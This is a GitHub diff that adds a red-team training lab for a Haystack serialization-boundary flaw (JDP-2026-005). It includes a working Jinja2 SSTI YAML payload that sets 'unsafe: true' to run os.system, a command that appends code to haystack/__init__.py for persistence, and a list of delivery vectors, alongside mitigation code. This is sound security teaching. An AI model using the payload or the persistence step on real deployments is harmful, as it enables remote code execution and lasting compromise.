Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
22 changes: 22 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -35,6 +35,7 @@ The [Legacy Repository](https://github.com/OWASP/www-project-top-10-for-large-la
│ ├── agent0
│ ├── example
│ ├── garak
│ ├── haystack
│ ├── Langflow_v1.0.12
│ ├── LangGrinch
│ ├── langchain
Expand All @@ -46,6 +47,7 @@ The [Legacy Repository](https://github.com/OWASP/www-project-top-10-for-large-la
├── LICENSE
├── README.md
├── sandboxes
│ ├── agentic_local_haystack
│ ├── agentic_local_langchain
│ ├── agentic_local_n8n_v1.65.0
│ ├── agentic_local_semantickernel
Expand Down Expand Up @@ -192,6 +194,9 @@ uv --version
* **[LangChain Orchestration Poisoning Sandbox](sandboxes/agentic_local_langchain/README.md)**
* **Summary**: A containerized sandbox running **LangChain-core v1.2.24 through latest** (tested up to v1.6.0 as of August 2026) demonstrating **critical Insecure Orchestration vulnerabilities**. Students bypass **CVE-2026-34070** (direct path traversal — patched in v1.2.25+), **CVE-2023-36258** (symlink suffix bypass — **NEVER PATCHED**), and the **unpatched write primitive** (`.save()` — **NO CVE ASSIGNED**). The sandbox simulates the real-world patch lifecycle across 5 stages, proving that symlink reads and the write-side `.save()` method remain exploitable in every version tested. Includes a pre-created symlink (`/app/config.json` → `/app/config.txt`) to demonstrate CWE-59 (Improper Link Resolution). Reference: [JDP-2026-004](https://jdp-security.github.io/security-research-papers/2026-05-12-langchain-orchestration-poisoning-disclosure.html) — CVSS 10.0 Critical.

* **[Haystack Serialization Evasion Sandbox](sandboxes/agentic_local_haystack/README.md)**
* **Summary**: A containerized sandbox running **Deepset Haystack (`haystack-ai` v2.27.0)** demonstrating a **critical Serialization Boundary Evasion vulnerability (JDP-2026-005)**. The `default_from_dict()` deserialization method passes all `init_parameters` directly to component constructors without stripping security-critical flags, allowing an attacker to bypass the `unsafe=False` boundary and achieve persistent Remote Code Execution (RCE) via Jinja2 SSTI breakout. The sandbox exposes a Flask API with `/chat` (pipeline loading) and `/verify` (integrity check) endpoints. Both `OutputAdapter` and `ConditionalRouter` components are affected. Reference: [JDP-2026-005](https://jdp-security.github.io/security-research-papers/2026-05-13-deepset-haystack-disclosure.html) — CVSS 10.0 Critical.

### `exploitation/`

* **[Red Team Example](exploitation/example/README.md)**
Expand Down Expand Up @@ -255,6 +260,23 @@ uv --version

**Reference:** [JDP-2026-004 White Paper](https://jdp-security.github.io/security-research-papers/2026-05-12-langchain-orchestration-poisoning-disclosure.html)

* **[Haystack Serialization Evasion Trainer](exploitation/haystack/README.md)**
* **Summary**: An interactive training wizard and automated verification suite demonstrating a **critical Serialization Boundary Evasion vulnerability (JDP-2026-005)** in Deepset Haystack (`haystack-ai` v2.27.0). Students learn how `from_dict()` deserialization bypasses the `unsafe=False` security boundary, enabling persistent framework compromise via `__init__.py` overwrite — achieving a CVSS Scope Change (S:C) that survives application restarts.

**Includes:**
* `interactive_trainer.py`: Menu-driven CLI with 6 lessons (Baseline, YAML Bypass, Full RCE, Scope Change, Mitigation, Attack Vectors) plus auto-pilot mode and built-in container management. Supports custom YAML/JSON payloads and multi-line paste.
* `payloads/`: Pre-built exploit payloads demonstrating OutputAdapter bypass, ConditionalRouter bypass, and persistent RCE.
* `submission_audit.md`: Full vulnerability validation and audit report.

**Key Findings:**
* Serialization boundary evasion via `default_from_dict()` — no `unsafe` flag stripping
* Both `OutputAdapter` and `ConditionalRouter` components affected
* Persistent framework compromise via `haystack/__init__.py` overwrite
* 4 attack vectors: Direct API call, file-based loading, database poisoning, message queue injection
* Vendor classification: "Trusted configuration behavior" — no fix planned

**Reference:** [JDP-2026-005 White Paper](https://jdp-security.github.io/security-research-papers/2026-05-13-deepset-haystack-disclosure.html)

### `tutorials/`

* **[Community Resources for Agentic AI Red Teaming](tutorials/community_resources.md)**
Expand Down
308 changes: 308 additions & 0 deletions exploitation/haystack/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,308 @@
# Haystack Serialization Boundary Evasion Lab (JDP-2026-005)

## Overview

This laboratory demonstrates a critical **Insecure Orchestration Vulnerability (OWASP Top 10 for LLMs: LLM06 – Excessive Agency / ASI02 – Tool Misuse)** within Deepset Haystack AI (`haystack-ai` v2.27.0). Students will explore how the `from_dict()` deserialization method passes security-critical parameters directly to component constructors without validation, allowing attackers to bypass the `unsafe=False` boundary and achieve persistent Remote Code Execution (RCE) via framework poisoning.

**Vulnerability Class:** CWE-502 (Deserialization of Untrusted Data) → CWE-94 (Code Injection) → CWE-184 (Incomplete Input Filtering)
**CVSS v3.1:** 10.0 Critical – AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
**Author:** Jeff Ponte (CISSP, CCSP, CEH) – JDP Security
**Research Paper:** [JDP-2026-005: Architectural Boundary Limitations in Haystack](https://jdp-security.github.io/security-research-papers/2026-05-13-deepset-haystack-disclosure.html)

---

## Core Learning Objectives

By completing this lab, students will:

1. **Identify Serialization Boundary Flaws** – Learn how `default_from_dict()` passes all `init_parameters` directly to component constructors without stripping security-critical flags, violating the principle of least privilege.
2. **Execute a YAML Deserialization Bypass** – Craft a malicious pipeline definition that sets `"unsafe": true` to bypass the Jinja2 sandbox and achieve code execution.
3. **Achieve Persistent Framework Compromise (Scope Change)** – Use the initial RCE to overwrite `haystack/__init__.py`, demonstrating CVSS Scope Change (S:C) where the infection survives application restarts and process termination.
4. **Analyze the Vendor/Researcher Divergence** – Understand the industry debate between "trusted configuration behavior" and "framework-level vulnerability" — a critical threat modeling distinction for AI orchestration security.
5. **Evaluate Mitigation Strategies** – Explore application-layer patches (schema validation, monkey-patching, HMAC signing) and understand why they are inherently incomplete without framework-level fixes.
6. **Map Attack Vectors to Deployment Scenarios** – Identify 4 real-world delivery methods (API, file, database, message queue) and understand how authentication controls reach but does not fix the underlying vulnerability.

---

## OWASP Alignment

This lab directly addresses the following OWASP categories:

| OWASP Category | Relevance |
|---|---|
| **LLM06 – Excessive Agency** | The orchestration framework grants excessive capabilities to untrusted data inputs, allowing security configuration to be dictated by payloads |
| **ASI02 – Tool Misuse** | The `OutputAdapter` and `ConditionalRouter` tools can be exploited for unintended purposes (code execution) when their security flags are manipulated |
| **CWE-502 – Deserialization of Untrusted Data** | The framework instantiates objects from YAML/Dict payloads without validating embedded security directives |
| **CWE-94 – Code Injection** | Manipulation of the `unsafe` flag grants direct control over the Jinja2 execution environment |
| **CWE-184 – Incomplete List of Disallowed Inputs** | The serialization engine fails to filter or strip critical security parameters during object hydration |

---

## Lab Architecture

The lab uses Docker containers running **haystack-ai v2.27.0** with a deliberately vulnerable `/chat` API endpoint that accepts pipeline definitions via `Pipeline.from_dict()`.

| Stage | Version | `unsafe` Flag Bypass | Persistent Compromise |
|-------|---------|---------------------|-----------------------|
| **0** | 2.27.0 | ❌ VULNERABLE | ❌ VULNERABLE |

> **Key insight:** The vulnerability is architectural, not version-specific. All versions supporting the `unsafe` feature are affected. The vendor has classified this as "trusted configuration behavior" and no fix is planned as of the latest release (August 2026).

---

## Quick Start: Interactive Training Wizard

The **`interactive_trainer.py`** provides a menu-driven CLI that walks through all exploitation scenarios with built-in container management.

```bash
cd ~/OWASP/GenAI-Red-Team-Lab/exploitation/haystack
chmod +x interactive_trainer.py
./interactive_trainer.py
```

### Menu Options

| Option | Lesson | Description |
|--------|--------|-------------|
| **`G`** | Guided Training Course | Automated auto-pilot mode that runs all 6 lessons sequentially |
| **`1`** | Lesson 1: Baseline | Verify the framework is clean and `unsafe=False` by default |
| **`2`** | Lesson 2: YAML Bypass | Load a malicious YAML pipeline that flips `unsafe` to `true` |
| **`3`** | Lesson 3: Full RCE | Overwrite `haystack/__init__.py` to achieve persistence |
| **`4`** | Lesson 4: Scope Change | Verify the framework is permanently compromised |
| **`5`** | Lesson 5: Mitigation | Explore patches and their fundamental limitations |
| **`6`** | Lesson 6: Attack Vectors | Map the exploit to 4 real-world deployment scenarios |
| **`I`** | Industry Perspective | View the vendor vs. researcher positions on serialization boundaries |
| **`C`** | Start Container | Launch the Docker container |
| **`R`** | Reset Container | Stop and rebuild from scratch |
| **`L`** | View Container Logs | Inspect container output |
| **`H`** | Show Glossary | View CWE and terminology definitions |
| **`P`** | White Paper Summary | View the research paper abstract |
| **`W`** | Write Report | Save lab results to a JSON report |
| **`X`** | Stop Container | Stop the running container |
| **`Q`** | Quit | Exit the trainer |

### Interactive Features

- **Auto-fill hints** – Press Enter to use the default YAML payload for each lesson.
- **Multi-line paste support** – Paste custom YAML or JSON payloads.
- **Real-time evidence** – Each lesson displays the raw HTTP response and explains the result.
- **Auto-pilot mode** – Run `./interactive_trainer.py --auto` for a fully automated guided course.

---

## Exercise 1: YAML Deserialization Bypass (Lesson 2)

The core exploit sends a malicious YAML pipeline definition to the server. The `"unsafe": true` flag is passed directly to the `OutputAdapter` constructor without validation.

### The Malicious Payload

```yaml
components:
adapter:
type: haystack.components.converters.output_adapter.OutputAdapter
init_parameters:
template: |
{{ trigger }}{{ self.__init__.__globals__.__builtins__.__import__('os').system('id') }}
output_type: str
unsafe: true
```

### Why It Works

The root cause is in `haystack/core/serialization.py`:

```python
def default_from_dict(cls: type[T], data: dict[str, Any]) -> T:
init_params = data.get("init_parameters", {})
return cls(**init_params) # PASSES ALL PARAMETERS TO CONSTRUCTOR UNFILTERED
```

There is no filtering of security-critical parameters like `unsafe`. The framework trusts the serialized data implicitly, violating the security principle of never trusting input at the deserialization boundary.

### Expected Output

```
[VULNERABLE] SERIALIZATION BYPASS SUCCESSFUL!
EVIDENCE: The unsafe flag was mutated to true via untrusted YAML.
```

---

## Exercise 2: Persistent Framework Compromise (Lessons 3-4)

After achieving RCE via the serialization bypass, the attacker can append Python code to the global `haystack/__init__.py` file:

```bash
echo 'print("!!! HAYSTACK SCOPE CHANGE: 10.0 CRITICAL !!!")' >> /usr/local/lib/python3.11/site-packages/haystack/__init__.py
```

### Scope Change Demonstration

This creates a **CVSS Scope Change (S:C)** — every subsequent Python process that executes `import haystack` will run the attacker's payload synchronously. The compromise survives:

- Pipeline deletion
- Application restarts
- Container reboots
- Process termination

### Verification

```python
# Clean Python process - no pipeline loaded
import haystack # Immediately executes the injected payload
# Output: !!! HAYSTACK SCOPE CHANGE: 10.0 CRITICAL !!!
```

---

## Exercise 3: Attack Vectors (Lesson 6)

The exploit payload is identical regardless of delivery method. The attack vector depends on how the framework is deployed:

| Scenario | Delivery Method | Prior Access Required | Authentication Mitigates? |
|---|---|---|---|
| Direct API Call | HTTP request | None (if public) | Controls reach, not exploit |
| File-Based Loading | File write | Write access to target path | Varies by path |
| Database Poisoning | Database modification | DB access or SQLi | Bypassable via SQLi |
| Message Queue Injection | Queue message | Queue network access | Network-level only |

### Authentication Clarification

**Authentication controls *who* can reach the vulnerable deserialization code, but does *not* fix the vulnerability itself.** Once an attacker reaches `from_dict()` or `from_yaml()`, the exploit works identically regardless of authentication status. This is a critical distinction for security architects designing defense-in-depth strategies.

---

## Code Review: Why the Serialization Fails

### The Vulnerable Code Path

```python
# OutputAdapter.from_dict() - Lines 161-179
def from_dict(cls, data: dict[str, Any]) -> "OutputAdapter":
init_params = data.get("init_parameters", {})
init_params["output_type"] = deserialize_type(init_params["output_type"])
custom_filters = init_params.get("custom_filters", {})
if custom_filters:
init_params["custom_filters"] = {
name: deserialize_callable(filter_func) if filter_func else None
for name, filter_func in custom_filters.items()
}
return default_from_dict(cls, data) # LACKS UNSAFE FLAG STRIPPING
```

### The Deserialization Sink

```python
# haystack/core/serialization.py
def default_from_dict(cls: type[T], data: dict[str, Any]) -> T:
init_params = data.get("init_parameters", {})
return cls(**init_params) # PASSES ALL PARAMETERS TO CONSTRUCTOR UNFILTERED
```

### Audit Confirmation

```bash
# Audit confirms absence of security flag stripping:
$ grep -n "pop.*unsafe\|unsafe.*pop" haystack/components/converters/output_adapter.py
# NO OUTPUT - Mitigation absent

$ grep -i "unsafe\|security" haystack/core/serialization.py
# NO OUTPUT - Security validation absent in serialization engine
```

---

## The Architectural Flaw

The vulnerability is not a simple coding error — it is an architectural design issue with four components:

### 1. Unvalidated Input Routing
`default_from_dict()` passes all `init_params` directly to component constructors without sanitation. This is a classic **Confused Deputy** problem — the framework trusts the payload's authority over its own security configuration.

### 2. Missing Flag Validation
Core components such as `OutputAdapter` and `ConditionalRouter` do not strip or restrict `unsafe` flags during deserialization. The security control is implemented as a standard constructor parameter, giving it identical authority to any other parameter.

### 3. Insecure Data Processing
The serialization logic merges application security configurations with untrusted data ingress. There is no separation between "system configuration" and "user data" at the deserialization boundary.

### 4. Implementation Lifecycle Gap
The `unsafe` feature was introduced in commit [`3e3f79b9`](https://github.com/deepset-ai/haystack/commit/3e3f79b9285c5b56432aac3e4ef2309e5f31ea74) (September 2, 2024) with release notes explicitly warning it "could lead to remote code execution," yet no corresponding safeguards were implemented in the `from_dict` hydration pipeline.

---

## The Whack-a-Mole Problem

Every application-layer patch creates a new bypass vector:

| Round | Patch | Bypass |
|-------|-------|--------|
| 1 | Strip `unsafe` from `OutputAdapter.from_dict()` | Use `ConditionalRouter.from_dict()` instead (same vulnerability, different component) |
| 2 | Strip `unsafe` from both components | Use `Pipeline.from_yaml()` which uses a different deserialization path |
| 3 | Patch all known deserialization paths | Attacker disables the patch if they achieve code execution through another vector |
| 4 | Deploy schema validation at the API gateway | Attacker finds an alternative ingress path (database, message queue, file system) |

**The root cause is architectural, not a patch gap.** The framework lacks a centralized validation layer that strips security-critical parameters from ALL deserialization paths at the single entry point (`Pipeline.from_dict()`). Until the framework implements this, every patch will be incomplete.

---

## Mitigation Strategies (Appendix A)

### Application-Layer Patches (Temporary)

**Option 1: Monkey-Patch `from_dict()`**
```python
import haystack.components.converters.output_adapter as oa
_orig = oa.OutputAdapter.from_dict.__func__

@classmethod
def _secured(cls, data):
if "init_parameters" in data:
data["init_parameters"].pop("unsafe", None)
return _orig(cls, data)

oa.OutputAdapter.from_dict = _secured
```

**Option 2: Pre-Sink Schema Validation**
```python
from jsonschema import validate, ValidationError

SERIALIZATION_SCHEMA = {
"type": "object",
"properties": {
"init_parameters": {
"type": "object",
"properties": {
"unsafe": {
"type": "boolean",
"enum": [False] # Strict enforcement of safe execution
}
}
}
}
}
```

### Framework-Level Fixes (Required)

1. **Parameter Stripping**: All `from_dict()` methods should strip security-critical parameters like `unsafe` before passing to constructors.
2. **Centralized Validation**: Validate at `Pipeline.from_dict()` rather than each individual component.
3. **Explicit Opt-In**: Unsafe mode should require code-level developer intent, not data-level configuration.
4. **Cryptographic Signatures**: Verify serialized data integrity before deserialization.

---


## References & Additional Reading

- **JDP-2026-005:** Serialization Boundary Evasion in Haystack (this disclosure)
- **CWE-502:** Deserialization of Untrusted Data
- **CWE-94:** Code Injection (Jinja2 SSTI)
- **CWE-184:** Incomplete List of Disallowed Inputs
- **OWASP Top 10 for LLM Applications:** [LLM06 – Excessive Agency](https://owasp.org/www-project-top-10-for-llm-applications/)
- **OWASP Agentic Security:** [ASI02 – Tool Misuse](https://owasp.org/www-project-agentic-security/)
- **Research Paper:** [JDP-2026-005 White Paper](https://jdp-security.github.io/security-research-papers/2026-05-13-deepset-haystack-disclosure.html)
- **Commit 3e3f79b9:** [Introduction of the `unsafe` feature](https://github.com/deepset-ai/haystack/commit/3e3f79b9285c5b56432aac3e4ef2309e5f31ea74) (September 2, 2024)
- **OWASP GenAI Red Team Lab:** [GitHub Repository](https://github.com/JDP-Security/OWASP-GenAI-Red-Team-Lab)
- **Deepset Haystack:** [Official Documentation](https://docs.haystack.deepset.ai/)

Loading